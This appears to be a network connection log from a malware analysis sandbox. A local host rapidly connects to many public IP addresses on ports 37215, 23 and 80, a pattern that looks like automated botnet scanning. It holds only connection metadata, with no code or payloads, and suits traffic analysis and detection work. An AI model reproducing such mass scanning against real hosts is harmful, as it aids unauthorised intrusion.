Dec 3, 2024 21:02:03.311728001 CET	18849	37215	192.168.2.23	41.180.16.157
Dec 3, 2024 21:02:03.311734915 CET	18849	37215	192.168.2.23	197.104.18.182
Dec 3, 2024 21:02:03.311954975 CET	54526	37215	192.168.2.23	197.204.215.30
Dec 3, 2024 21:02:03.311954975 CET	54526	37215	192.168.2.23	197.204.215.30
Dec 3, 2024 21:02:03.312351942 CET	54742	37215	192.168.2.23	197.204.215.30
Dec 3, 2024 21:02:03.312741995 CET	59314	37215	192.168.2.23	156.116.66.124
Dec 3, 2024 21:02:03.312741995 CET	59314	37215	192.168.2.23	156.116.66.124
Dec 3, 2024 21:02:03.313067913 CET	59528	37215	192.168.2.23	156.116.66.124
Dec 3, 2024 21:02:03.313431978 CET	43650	37215	192.168.2.23	156.206.187.245
Dec 3, 2024 21:02:03.313431978 CET	43650	37215	192.168.2.23	156.206.187.245
Dec 3, 2024 21:02:03.313709974 CET	43864	37215	192.168.2.23	156.206.187.245
Dec 3, 2024 21:02:03.314080000 CET	37798	37215	192.168.2.23	156.5.0.72
Dec 3, 2024 21:02:03.314080954 CET	37798	37215	192.168.2.23	156.5.0.72
Dec 3, 2024 21:02:03.314346075 CET	38022	37215	192.168.2.23	156.5.0.72
Dec 3, 2024 21:02:03.314704895 CET	55034	37215	192.168.2.23	197.68.5.1
Dec 3, 2024 21:02:03.314704895 CET	55034	37215	192.168.2.23	197.68.5.1
Dec 3, 2024 21:02:03.314982891 CET	55256	37215	192.168.2.23	197.68.5.1
Dec 3, 2024 21:02:03.315335989 CET	42478	37215	192.168.2.23	197.3.229.239
Dec 3, 2024 21:02:03.315335989 CET	42478	37215	192.168.2.23	197.3.229.239
Dec 3, 2024 21:02:03.315604925 CET	42696	37215	192.168.2.23	197.3.229.239
Dec 3, 2024 21:02:03.316519976 CET	23	37302	95.87.35.60	192.168.2.23
Dec 3, 2024 21:02:03.316579103 CET	37302	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:02:03.316792011 CET	23	41954	205.167.125.147	192.168.2.23
Dec 3, 2024 21:02:03.316915989 CET	37348	23	192.168.2.23	95.87.35.60
Dec 3, 2024 21:02:03.317293882 CET	41954	23	192.168.2.23	205.167.125.147
Dec 3, 2024 21:02:03.317384005 CET	38486	37215	192.168.2.23	41.27.156.130
Dec 3, 2024 21:02:03.317389965 CET	42240	37215	192.168.2.23	197.3.211.255
Dec 3, 2024 21:02:03.317389965 CET	51588	37215	192.168.2.23	41.122.176.16
Dec 3, 2024 21:02:03.317393064 CET	58546	37215	192.168.2.23	156.169.162.255
Dec 3, 2024 21:02:03.317404985 CET	35264	23	192.168.2.23	177.172.54.36
Dec 3, 2024 21:02:03.317404985 CET	51598	37215	192.168.2.23	41.169.6.242
Dec 3, 2024 21:02:03.317596912 CET	42000	23	192.168.2.23	205.167.125.147
Dec 3, 2024 21:02:03.333482981 CET	23	37098	9.79.192.108	192.168.2.23
Dec 3, 2024 21:02:03.333758116 CET	23	37130	9.79.192.108	192.168.2.23
Dec 3, 2024 21:02:03.333822012 CET	37130	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:03.341517925 CET	23	60080	177.56.160.63	192.168.2.23
Dec 3, 2024 21:02:03.341567039 CET	23	50762	202.40.229.40	192.168.2.23
Dec 3, 2024 21:02:03.341587067 CET	60080	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:02:03.341612101 CET	50762	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:02:03.354156017 CET	23	46466	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:03.354499102 CET	23	46496	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:03.354542017 CET	46496	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:03.354839087 CET	23	34640	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:03.354913950 CET	34640	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:03.355289936 CET	34680	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:03.358114004 CET	23	46636	199.155.176.9	192.168.2.23
Dec 3, 2024 21:02:03.358134031 CET	23	46874	199.155.176.9	192.168.2.23
Dec 3, 2024 21:02:03.358175993 CET	46874	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:02:03.358350992 CET	23	40342	133.6.185.34	192.168.2.23
Dec 3, 2024 21:02:03.363358021 CET	23	39408	45.252.170.0	192.168.2.23
Dec 3, 2024 21:02:03.363429070 CET	39408	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:02:03.363775015 CET	39448	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:02:03.389960051 CET	23	47922	122.63.120.127	192.168.2.23
Dec 3, 2024 21:02:03.390364885 CET	23	48158	122.63.120.127	192.168.2.23
Dec 3, 2024 21:02:03.390407085 CET	48158	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:02:03.390826941 CET	23	47778	164.219.137.204	192.168.2.23
Dec 3, 2024 21:02:03.391172886 CET	23	48014	164.219.137.204	192.168.2.23
Dec 3, 2024 21:02:03.391213894 CET	48014	23	192.168.2.23	164.219.137.204
Dec 3, 2024 21:02:03.410171986 CET	23	60874	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:03.410356998 CET	23	60908	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:03.410423994 CET	60908	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:03.421614885 CET	23	50434	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:03.421694040 CET	50434	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:03.421886921 CET	23	50232	44.119.31.213	192.168.2.23
Dec 3, 2024 21:02:03.422182083 CET	50474	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:03.422530890 CET	50232	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:02:03.422688961 CET	23	51358	74.221.182.117	192.168.2.23
Dec 3, 2024 21:02:03.422804117 CET	50272	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:02:03.423137903 CET	23	51392	74.221.182.117	192.168.2.23
Dec 3, 2024 21:02:03.423173904 CET	51392	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:02:03.429797888 CET	37215	18849	197.172.237.132	192.168.2.23
Dec 3, 2024 21:02:03.429807901 CET	37215	18849	156.185.158.141	192.168.2.23
Dec 3, 2024 21:02:03.429816961 CET	37215	18849	156.203.96.111	192.168.2.23
Dec 3, 2024 21:02:03.429826975 CET	23	45298	195.179.219.228	192.168.2.23
Dec 3, 2024 21:02:03.429850101 CET	18849	37215	192.168.2.23	156.185.158.141
Dec 3, 2024 21:02:03.429852009 CET	18849	37215	192.168.2.23	197.172.237.132
Dec 3, 2024 21:02:03.429857016 CET	18849	37215	192.168.2.23	156.203.96.111
Dec 3, 2024 21:02:03.429882050 CET	45298	23	192.168.2.23	195.179.219.228
Dec 3, 2024 21:02:03.429925919 CET	37215	59314	156.116.66.124	192.168.2.23
Dec 3, 2024 21:02:03.429960966 CET	59314	37215	192.168.2.23	156.116.66.124
Dec 3, 2024 21:02:03.430115938 CET	37215	43650	156.206.187.245	192.168.2.23
Dec 3, 2024 21:02:03.430149078 CET	43650	37215	192.168.2.23	156.206.187.245
Dec 3, 2024 21:02:03.430193901 CET	45526	23	192.168.2.23	195.179.219.228
Dec 3, 2024 21:02:03.430212021 CET	37215	54526	197.204.215.30	192.168.2.23
Dec 3, 2024 21:02:03.430255890 CET	54526	37215	192.168.2.23	197.204.215.30
Dec 3, 2024 21:02:03.430403948 CET	37215	42478	197.3.229.239	192.168.2.23
Dec 3, 2024 21:02:03.430435896 CET	42478	37215	192.168.2.23	197.3.229.239
Dec 3, 2024 21:02:03.430567026 CET	37215	55034	197.68.5.1	192.168.2.23
Dec 3, 2024 21:02:03.430598974 CET	55034	37215	192.168.2.23	197.68.5.1
Dec 3, 2024 21:02:03.430758953 CET	37215	37798	156.5.0.72	192.168.2.23
Dec 3, 2024 21:02:03.430794954 CET	37798	37215	192.168.2.23	156.5.0.72
Dec 3, 2024 21:02:03.432105064 CET	37215	54526	197.204.215.30	192.168.2.23
Dec 3, 2024 21:02:03.432173967 CET	37215	54526	197.204.215.30	192.168.2.23
Dec 3, 2024 21:02:03.432723045 CET	37215	59314	156.116.66.124	192.168.2.23
Dec 3, 2024 21:02:03.432810068 CET	37215	59314	156.116.66.124	192.168.2.23
Dec 3, 2024 21:02:03.433351994 CET	37215	43650	156.206.187.245	192.168.2.23
Dec 3, 2024 21:02:03.433476925 CET	37215	43650	156.206.187.245	192.168.2.23
Dec 3, 2024 21:02:03.433943987 CET	37215	37798	156.5.0.72	192.168.2.23
Dec 3, 2024 21:02:03.434035063 CET	37215	37798	156.5.0.72	192.168.2.23
Dec 3, 2024 21:02:03.434643984 CET	37215	55034	197.68.5.1	192.168.2.23
Dec 3, 2024 21:02:03.434685946 CET	37215	55034	197.68.5.1	192.168.2.23
Dec 3, 2024 21:02:03.435302019 CET	37215	42478	197.3.229.239	192.168.2.23
Dec 3, 2024 21:02:03.435452938 CET	37215	42478	197.3.229.239	192.168.2.23
Dec 3, 2024 21:02:03.435494900 CET	37215	42696	197.3.229.239	192.168.2.23
Dec 3, 2024 21:02:03.435537100 CET	42696	37215	192.168.2.23	197.3.229.239
Dec 3, 2024 21:02:03.435548067 CET	42696	37215	192.168.2.23	197.3.229.239
Dec 3, 2024 21:02:03.435832977 CET	55160	37215	192.168.2.23	197.172.237.132
Dec 3, 2024 21:02:03.436342955 CET	51776	37215	192.168.2.23	156.185.158.141
Dec 3, 2024 21:02:03.436513901 CET	23	37302	95.87.35.60	192.168.2.23
Dec 3, 2024 21:02:03.436846018 CET	50790	37215	192.168.2.23	156.203.96.111
Dec 3, 2024 21:02:03.437174082 CET	23	41954	205.167.125.147	192.168.2.23
Dec 3, 2024 21:02:03.454102039 CET	23	37130	9.79.192.108	192.168.2.23
Dec 3, 2024 21:02:03.454169035 CET	37130	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:03.454399109 CET	37178	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:03.461854935 CET	23	60080	177.56.160.63	192.168.2.23
Dec 3, 2024 21:02:03.461915016 CET	60080	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:02:03.461982965 CET	23	50762	202.40.229.40	192.168.2.23
Dec 3, 2024 21:02:03.462168932 CET	60694	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:02:03.462460041 CET	50762	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:02:03.462688923 CET	51380	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:02:03.474783897 CET	23	34640	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:03.474864006 CET	23	46496	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:03.474917889 CET	46496	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:03.475142002 CET	23	34680	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:03.475158930 CET	46548	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:03.475179911 CET	34680	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:03.478298903 CET	23	46874	199.155.176.9	192.168.2.23
Dec 3, 2024 21:02:03.478375912 CET	46874	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:02:03.478604078 CET	46926	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:02:03.483300924 CET	23	39408	45.252.170.0	192.168.2.23
Dec 3, 2024 21:02:03.483655930 CET	23	39448	45.252.170.0	192.168.2.23
Dec 3, 2024 21:02:03.483699083 CET	39448	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:02:03.510792017 CET	23	48158	122.63.120.127	192.168.2.23
Dec 3, 2024 21:02:03.510859013 CET	48158	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:02:03.511130095 CET	48208	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:02:03.511393070 CET	23	48014	164.219.137.204	192.168.2.23
Dec 3, 2024 21:02:03.511436939 CET	48014	23	192.168.2.23	164.219.137.204
Dec 3, 2024 21:02:03.511642933 CET	48064	23	192.168.2.23	164.219.137.204
Dec 3, 2024 21:02:03.530682087 CET	23	60908	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:03.530752897 CET	60908	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:03.531039000 CET	60958	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:03.541357994 CET	57886	80	192.168.2.23	167.253.159.61
Dec 3, 2024 21:02:03.541359901 CET	50104	80	192.168.2.23	196.18.47.40
Dec 3, 2024 21:02:03.541361094 CET	39960	80	192.168.2.23	4.65.158.178
Dec 3, 2024 21:02:03.541361094 CET	57544	80	192.168.2.23	94.96.69.236
Dec 3, 2024 21:02:03.541750908 CET	23	50434	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:03.542144060 CET	23	50474	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:03.542180061 CET	50474	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:03.542371988 CET	23	50232	44.119.31.213	192.168.2.23
Dec 3, 2024 21:02:03.542706013 CET	23	50272	44.119.31.213	192.168.2.23
Dec 3, 2024 21:02:03.542746067 CET	50272	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:02:03.543952942 CET	23	51392	74.221.182.117	192.168.2.23
Dec 3, 2024 21:02:03.543998003 CET	51392	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:02:03.544229984 CET	51442	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:02:03.549988031 CET	23	45298	195.179.219.228	192.168.2.23
Dec 3, 2024 21:02:03.549998045 CET	37215	59314	156.116.66.124	192.168.2.23
Dec 3, 2024 21:02:03.550127983 CET	37215	43650	156.206.187.245	192.168.2.23
Dec 3, 2024 21:02:03.550137997 CET	23	45526	195.179.219.228	192.168.2.23
Dec 3, 2024 21:02:03.550165892 CET	45526	23	192.168.2.23	195.179.219.228
Dec 3, 2024 21:02:03.550252914 CET	37215	54526	197.204.215.30	192.168.2.23
Dec 3, 2024 21:02:03.550307035 CET	37215	42478	197.3.229.239	192.168.2.23
Dec 3, 2024 21:02:03.550458908 CET	37215	55034	197.68.5.1	192.168.2.23
Dec 3, 2024 21:02:03.550736904 CET	37215	37798	156.5.0.72	192.168.2.23
Dec 3, 2024 21:02:03.555866003 CET	37215	42696	197.3.229.239	192.168.2.23
Dec 3, 2024 21:02:03.555876970 CET	37215	55160	197.172.237.132	192.168.2.23
Dec 3, 2024 21:02:03.555907965 CET	42696	37215	192.168.2.23	197.3.229.239
Dec 3, 2024 21:02:03.555916071 CET	55160	37215	192.168.2.23	197.172.237.132
Dec 3, 2024 21:02:03.556010008 CET	55160	37215	192.168.2.23	197.172.237.132
Dec 3, 2024 21:02:03.556010008 CET	55160	37215	192.168.2.23	197.172.237.132
Dec 3, 2024 21:02:03.556240082 CET	55184	37215	192.168.2.23	197.172.237.132
Dec 3, 2024 21:02:03.556247950 CET	37215	51776	156.185.158.141	192.168.2.23
Dec 3, 2024 21:02:03.556293011 CET	51776	37215	192.168.2.23	156.185.158.141
Dec 3, 2024 21:02:03.556514025 CET	51776	37215	192.168.2.23	156.185.158.141
Dec 3, 2024 21:02:03.556514025 CET	51776	37215	192.168.2.23	156.185.158.141
Dec 3, 2024 21:02:03.556721926 CET	51800	37215	192.168.2.23	156.185.158.141
Dec 3, 2024 21:02:03.556798935 CET	37215	50790	156.203.96.111	192.168.2.23
Dec 3, 2024 21:02:03.556835890 CET	50790	37215	192.168.2.23	156.203.96.111
Dec 3, 2024 21:02:03.556997061 CET	50790	37215	192.168.2.23	156.203.96.111
Dec 3, 2024 21:02:03.556997061 CET	50790	37215	192.168.2.23	156.203.96.111
Dec 3, 2024 21:02:03.557203054 CET	50814	37215	192.168.2.23	156.203.96.111
Dec 3, 2024 21:02:03.574208021 CET	23	37130	9.79.192.108	192.168.2.23
Dec 3, 2024 21:02:03.574263096 CET	23	37178	9.79.192.108	192.168.2.23
Dec 3, 2024 21:02:03.574314117 CET	37178	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:03.581935883 CET	23	60080	177.56.160.63	192.168.2.23
Dec 3, 2024 21:02:03.582158089 CET	23	60694	177.56.160.63	192.168.2.23
Dec 3, 2024 21:02:03.582209110 CET	60694	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:02:03.582392931 CET	23	50762	202.40.229.40	192.168.2.23
Dec 3, 2024 21:02:03.582787037 CET	23	51380	202.40.229.40	192.168.2.23
Dec 3, 2024 21:02:03.582839966 CET	51380	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:02:03.594923973 CET	23	46496	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:03.595166922 CET	23	46548	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:03.595221996 CET	46548	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:03.595484018 CET	23	34680	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:03.595566988 CET	34680	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:03.595966101 CET	34720	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:03.598419905 CET	23	46874	199.155.176.9	192.168.2.23
Dec 3, 2024 21:02:03.598634005 CET	23	46926	199.155.176.9	192.168.2.23
Dec 3, 2024 21:02:03.598679066 CET	46926	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:02:03.604242086 CET	23	39448	45.252.170.0	192.168.2.23
Dec 3, 2024 21:02:03.604417086 CET	39448	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:02:03.604593992 CET	39488	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:02:03.631469965 CET	23	48158	122.63.120.127	192.168.2.23
Dec 3, 2024 21:02:03.631623983 CET	23	48208	122.63.120.127	192.168.2.23
Dec 3, 2024 21:02:03.631671906 CET	48208	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:02:03.631812096 CET	23	48014	164.219.137.204	192.168.2.23
Dec 3, 2024 21:02:03.632030964 CET	23	48064	164.219.137.204	192.168.2.23
Dec 3, 2024 21:02:03.632076025 CET	48064	23	192.168.2.23	164.219.137.204
Dec 3, 2024 21:02:03.651077986 CET	23	60908	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:03.651437998 CET	23	60958	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:03.651489973 CET	60958	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:03.661489010 CET	80	57886	167.253.159.61	192.168.2.23
Dec 3, 2024 21:02:03.661557913 CET	80	50104	196.18.47.40	192.168.2.23
Dec 3, 2024 21:02:03.661569118 CET	80	39960	4.65.158.178	192.168.2.23
Dec 3, 2024 21:02:03.661573887 CET	57886	80	192.168.2.23	167.253.159.61
Dec 3, 2024 21:02:03.661578894 CET	80	57544	94.96.69.236	192.168.2.23
Dec 3, 2024 21:02:03.661617994 CET	50104	80	192.168.2.23	196.18.47.40
Dec 3, 2024 21:02:03.661652088 CET	57544	80	192.168.2.23	94.96.69.236
Dec 3, 2024 21:02:03.661650896 CET	39960	80	192.168.2.23	4.65.158.178
Dec 3, 2024 21:02:03.662079096 CET	44846	80	192.168.2.23	105.246.121.171
Dec 3, 2024 21:02:03.662379980 CET	23	50474	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:03.662446976 CET	50474	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:03.662748098 CET	54148	80	192.168.2.23	46.237.250.155
Dec 3, 2024 21:02:03.662767887 CET	23	50272	44.119.31.213	192.168.2.23
Dec 3, 2024 21:02:03.663160086 CET	50518	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:03.663295984 CET	57886	80	192.168.2.23	167.253.159.61
Dec 3, 2024 21:02:03.663295984 CET	57886	80	192.168.2.23	167.253.159.61
Dec 3, 2024 21:02:03.663634062 CET	58478	80	192.168.2.23	167.253.159.61
Dec 3, 2024 21:02:03.663911104 CET	23	51392	74.221.182.117	192.168.2.23
Dec 3, 2024 21:02:03.664074898 CET	23	51442	74.221.182.117	192.168.2.23
Dec 3, 2024 21:02:03.664109945 CET	51442	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:02:03.664125919 CET	39960	80	192.168.2.23	4.65.158.178
Dec 3, 2024 21:02:03.664125919 CET	39960	80	192.168.2.23	4.65.158.178
Dec 3, 2024 21:02:03.664273977 CET	50272	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:02:03.664458990 CET	40546	80	192.168.2.23	4.65.158.178
Dec 3, 2024 21:02:03.664959908 CET	50104	80	192.168.2.23	196.18.47.40
Dec 3, 2024 21:02:03.664959908 CET	50104	80	192.168.2.23	196.18.47.40
Dec 3, 2024 21:02:03.665061951 CET	50320	23	192.168.2.23	44.119.31.213
Dec 3, 2024 21:02:03.665363073 CET	50692	80	192.168.2.23	196.18.47.40
Dec 3, 2024 21:02:03.665837049 CET	57544	80	192.168.2.23	94.96.69.236
Dec 3, 2024 21:02:03.665852070 CET	57544	80	192.168.2.23	94.96.69.236
Dec 3, 2024 21:02:03.666182995 CET	58132	80	192.168.2.23	94.96.69.236
Dec 3, 2024 21:02:03.669337988 CET	46620	80	192.168.2.23	36.83.197.198
Dec 3, 2024 21:02:03.669339895 CET	57980	80	192.168.2.23	197.90.48.218
Dec 3, 2024 21:02:03.669342041 CET	44046	80	192.168.2.23	141.213.246.18
Dec 3, 2024 21:02:03.669348001 CET	48466	80	192.168.2.23	189.121.120.104
Dec 3, 2024 21:02:03.669348001 CET	46838	80	192.168.2.23	112.114.37.148
Dec 3, 2024 21:02:03.669358015 CET	41798	23	192.168.2.23	19.2.133.238
Dec 3, 2024 21:02:03.669367075 CET	53072	23	192.168.2.23	190.211.38.241
Dec 3, 2024 21:02:03.669367075 CET	46750	23	192.168.2.23	178.26.237.81
Dec 3, 2024 21:02:03.669368982 CET	39744	23	192.168.2.23	154.132.9.16
Dec 3, 2024 21:02:03.669375896 CET	40526	23	192.168.2.23	198.222.181.139
Dec 3, 2024 21:02:03.671447992 CET	23	45526	195.179.219.228	192.168.2.23
Dec 3, 2024 21:02:03.671504021 CET	45526	23	192.168.2.23	195.179.219.228
Dec 3, 2024 21:02:03.671776056 CET	45578	23	192.168.2.23	195.179.219.228
Dec 3, 2024 21:02:03.675923109 CET	37215	55160	197.172.237.132	192.168.2.23
Dec 3, 2024 21:02:03.676192045 CET	37215	55160	197.172.237.132	192.168.2.23
Dec 3, 2024 21:02:03.676285982 CET	37215	55184	197.172.237.132	192.168.2.23
Dec 3, 2024 21:02:03.676332951 CET	55184	37215	192.168.2.23	197.172.237.132
Dec 3, 2024 21:02:03.676366091 CET	55184	37215	192.168.2.23	197.172.237.132
Dec 3, 2024 21:02:03.676531076 CET	37215	51776	156.185.158.141	192.168.2.23
Dec 3, 2024 21:02:03.676568985 CET	51776	37215	192.168.2.23	156.185.158.141
Dec 3, 2024 21:02:03.676701069 CET	37215	51776	156.185.158.141	192.168.2.23
Dec 3, 2024 21:02:03.676728964 CET	37215	51776	156.185.158.141	192.168.2.23
Dec 3, 2024 21:02:03.676764011 CET	37215	51800	156.185.158.141	192.168.2.23
Dec 3, 2024 21:02:03.676804066 CET	51800	37215	192.168.2.23	156.185.158.141
Dec 3, 2024 21:02:03.676821947 CET	51800	37215	192.168.2.23	156.185.158.141
Dec 3, 2024 21:02:03.676966906 CET	37215	50790	156.203.96.111	192.168.2.23
Dec 3, 2024 21:02:03.677131891 CET	37215	50814	156.203.96.111	192.168.2.23
Dec 3, 2024 21:02:03.677170038 CET	37215	50790	156.203.96.111	192.168.2.23
Dec 3, 2024 21:02:03.677169085 CET	50814	37215	192.168.2.23	156.203.96.111
Dec 3, 2024 21:02:03.677195072 CET	50814	37215	192.168.2.23	156.203.96.111
Dec 3, 2024 21:02:03.694597006 CET	23	37178	9.79.192.108	192.168.2.23
Dec 3, 2024 21:02:03.694650888 CET	37178	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:03.694950104 CET	37224	23	192.168.2.23	9.79.192.108
Dec 3, 2024 21:02:03.701330900 CET	41562	23	192.168.2.23	151.87.142.180
Dec 3, 2024 21:02:03.702418089 CET	23	60694	177.56.160.63	192.168.2.23
Dec 3, 2024 21:02:03.702476025 CET	60694	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:02:03.702735901 CET	60740	23	192.168.2.23	177.56.160.63
Dec 3, 2024 21:02:03.702883005 CET	23	51380	202.40.229.40	192.168.2.23
Dec 3, 2024 21:02:03.703048944 CET	51380	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:02:03.703288078 CET	51426	23	192.168.2.23	202.40.229.40
Dec 3, 2024 21:02:03.716409922 CET	23	46548	121.220.27.35	192.168.2.23
Dec 3, 2024 21:02:03.716422081 CET	23	34680	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:03.716481924 CET	46548	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:03.716609955 CET	23	34720	46.74.21.128	192.168.2.23
Dec 3, 2024 21:02:03.716654062 CET	34720	23	192.168.2.23	46.74.21.128
Dec 3, 2024 21:02:03.716732025 CET	46594	23	192.168.2.23	121.220.27.35
Dec 3, 2024 21:02:03.719086885 CET	23	46926	199.155.176.9	192.168.2.23
Dec 3, 2024 21:02:03.719151974 CET	46926	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:02:03.719394922 CET	46972	23	192.168.2.23	199.155.176.9
Dec 3, 2024 21:02:03.724579096 CET	23	39448	45.252.170.0	192.168.2.23
Dec 3, 2024 21:02:03.724601030 CET	23	39488	45.252.170.0	192.168.2.23
Dec 3, 2024 21:02:03.724644899 CET	39488	23	192.168.2.23	45.252.170.0
Dec 3, 2024 21:02:03.751893997 CET	23	48208	122.63.120.127	192.168.2.23
Dec 3, 2024 21:02:03.751965046 CET	48208	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:02:03.752125978 CET	23	48064	164.219.137.204	192.168.2.23
Dec 3, 2024 21:02:03.752218962 CET	48254	23	192.168.2.23	122.63.120.127
Dec 3, 2024 21:02:03.752523899 CET	48064	23	192.168.2.23	164.219.137.204
Dec 3, 2024 21:02:03.752763987 CET	48110	23	192.168.2.23	164.219.137.204
Dec 3, 2024 21:02:03.765317917 CET	44176	23	192.168.2.23	36.21.85.164
Dec 3, 2024 21:02:03.771703959 CET	23	60958	194.155.181.18	192.168.2.23
Dec 3, 2024 21:02:03.771776915 CET	60958	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:03.772038937 CET	32772	23	192.168.2.23	194.155.181.18
Dec 3, 2024 21:02:03.782030106 CET	80	57886	167.253.159.61	192.168.2.23
Dec 3, 2024 21:02:03.782053947 CET	80	44846	105.246.121.171	192.168.2.23
Dec 3, 2024 21:02:03.782075882 CET	57886	80	192.168.2.23	167.253.159.61
Dec 3, 2024 21:02:03.782111883 CET	44846	80	192.168.2.23	105.246.121.171
Dec 3, 2024 21:02:03.782217026 CET	44846	80	192.168.2.23	105.246.121.171
Dec 3, 2024 21:02:03.782217026 CET	44846	80	192.168.2.23	105.246.121.171
Dec 3, 2024 21:02:03.782257080 CET	80	50104	196.18.47.40	192.168.2.23
Dec 3, 2024 21:02:03.782299995 CET	50104	80	192.168.2.23	196.18.47.40
Dec 3, 2024 21:02:03.782351971 CET	23	50474	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:03.782485008 CET	44880	80	192.168.2.23	105.246.121.171
Dec 3, 2024 21:02:03.782521009 CET	80	57544	94.96.69.236	192.168.2.23
Dec 3, 2024 21:02:03.782558918 CET	57544	80	192.168.2.23	94.96.69.236
Dec 3, 2024 21:02:03.782655001 CET	80	54148	46.237.250.155	192.168.2.23
Dec 3, 2024 21:02:03.782697916 CET	54148	80	192.168.2.23	46.237.250.155
Dec 3, 2024 21:02:03.782733917 CET	80	39960	4.65.158.178	192.168.2.23
Dec 3, 2024 21:02:03.782774925 CET	39960	80	192.168.2.23	4.65.158.178
Dec 3, 2024 21:02:03.782831907 CET	54148	80	192.168.2.23	46.237.250.155
Dec 3, 2024 21:02:03.782831907 CET	54148	80	192.168.2.23	46.237.250.155
Dec 3, 2024 21:02:03.783081055 CET	54182	80	192.168.2.23	46.237.250.155
Dec 3, 2024 21:02:03.783102989 CET	23	50518	193.225.94.230	192.168.2.23
Dec 3, 2024 21:02:03.783143997 CET	50518	23	192.168.2.23	193.225.94.230
Dec 3, 2024 21:02:03.783162117 CET	80	57886	167.253.159.61	192.168.2.23
Dec 3, 2024 21:02:03.783273935 CET	80	57886	167.253.159.61	192.168.2.23
Dec 3, 2024 21:02:03.783503056 CET	80	58478	167.253.159.61	192.168.2.23
Dec 3, 2024 21:02:03.783545017 CET	58478	80	192.168.2.23	167.253.159.61
Dec 3, 2024 21:02:03.783559084 CET	58478	80	192.168.2.23	167.253.159.61
Dec 3, 2024 21:02:03.784018993 CET	80	39960	4.65.158.178	192.168.2.23
Dec 3, 2024 21:02:03.784168005 CET	80	39960	4.65.158.178	192.168.2.23
Dec 3, 2024 21:02:03.784179926 CET	23	50272	44.119.31.213	192.168.2.23
Dec 3, 2024 21:02:03.784205914 CET	23	51442	74.221.182.117	192.168.2.23
Dec 3, 2024 21:02:03.784262896 CET	51442	23	192.168.2.23	74.221.182.117
Dec 3, 2024 21:02:03.784296989 CET	80	40546	4.65.158.178	192.168.2.23
Dec 3, 2024 21:02:03.784346104 CET	40546	80	192.168.2.23	4.65.158.178
Dec 3, 2024 21:02:03.784373999 CET	40546	80	192.168.2.23	4.65.158.178
Dec 3, 2024 21:02:03.784548044 CET	51492	23	192.168.2.23	74.221.182.117
